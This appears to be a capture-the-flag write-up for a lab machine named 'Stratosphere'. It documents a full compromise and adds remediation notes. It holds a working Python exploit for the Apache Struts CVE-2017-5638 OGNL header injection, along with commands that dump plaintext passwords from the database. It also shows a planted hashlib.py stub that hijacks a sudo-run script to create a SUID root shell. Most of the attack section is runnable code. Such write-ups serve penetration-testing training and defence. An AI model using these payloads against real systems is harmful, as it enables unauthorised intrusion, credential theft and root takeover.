Stratosphere
Summary
Target stratosphere ($TARGET) was fully compromised end-to-end. The Struts 2 credit-monitoring application on ports 80 and 8080 was unpatched against CVE-2017-5638, allowing any unauthenticated visitor to inject OGNL code through a crafted HTTP Content-Type header and execute operating-system commands as the tomcat8 service account. From that foothold my read the application's MariaDB database and recovered the local user richard's SSH password stored in plaintext.
Logging in as richard via SSH captured the user flag. A sudo rule permitted richard to run a Python script located in his own home directory as root with no password; because Python resolves imports by searching the script's directory before system library paths, and that directory was fully writable by richard, dropping a malicious hashlib.py stub there caused the privileged script to execute my own code as root — completing full system compromise.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export PASSWORD2="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 2
nmap -sV -Pn -p 22,80,8080,8009 $TARGETcurl -si http://$TARGET/Monitoring/example/Welcome.actionExact commands 2
python3 - <<'PY'
import http.client
cmd = 'id; whoami; hostname; pwd'
ognl = ("%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='" + cmd + "').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}")
conn = http.client.HTTPConnection("$TARGET", 80)
conn.putrequest('POST', '/Monitoring/example/Welcome.action')
conn.putheader('Content-Type', ognl)
conn.putheader('Content-Length', '0')
conn.endheaders()
r = conn.getresponse(); print(r.read().decode())
PYpython3 struts_s2045.py http://$TARGET/Monitoring/example/Welcome.action 'id'FixPatch Apache Struts 2 to eliminate the CVE-2017-5638 OGNL injection vulnerabilityCritical
Exact commands 2
python3 struts_s2045.py http://$TARGET/Monitoring/example/Welcome.action 'cat /var/lib/tomcat8/webapps/Monitoring/WEB-INF/web.xml'python3 struts_s2045.py http://$TARGET/Monitoring/example/Welcome.action 'mysql -u <db_user> -p<db_pass> -e "SELECT fullName,passw FROM users.accounts;"'FixReplace plaintext database passwords with strong hashes and enforce credential separationCritical
Exact commands 1
sshpass -p '$PASSWORD2' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null richard@$TARGET 'id; hostname; cat /home/richard/user.txt'Exact commands 2
sshpass -p '$PASSWORD2' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null richard@$TARGET 'sudo -l'sshpass -p '$PASSWORD2' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null richard@$TARGET 'cat /home/richard/test.py'Exact commands 3
sshpass -p '$PASSWORD2' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null richard@$TARGET "cat > /home/richard/hashlib.py <<'PYEOF'
import os
os.system('id; cat /root/root.txt; cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash')
class _H:
def update(self, x): pass
def hexdigest(self): return ''
def md5(): return _H()
def sha1(): return _H()
PYEOF"sshpass -p '$PASSWORD2' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null richard@$TARGET 'echo "$PASSWORD2" | sudo -S python3 /home/richard/test.py'sshpass -p '$PASSWORD2' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null richard@$TARGET '/tmp/rootbash -p'FixRemove the sudo rule that grants passwordless root execution of a user-owned Python scriptCritical
Attack patterns used
The transferable techniques behind this compromise.
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 7.9p1 Debian 10+deb10u3 (protocol 2.0) |
| 80/tcp | http Apache Tomcat (language: en) |
| 8080/tcp | http Apache Tomcat (language: en) |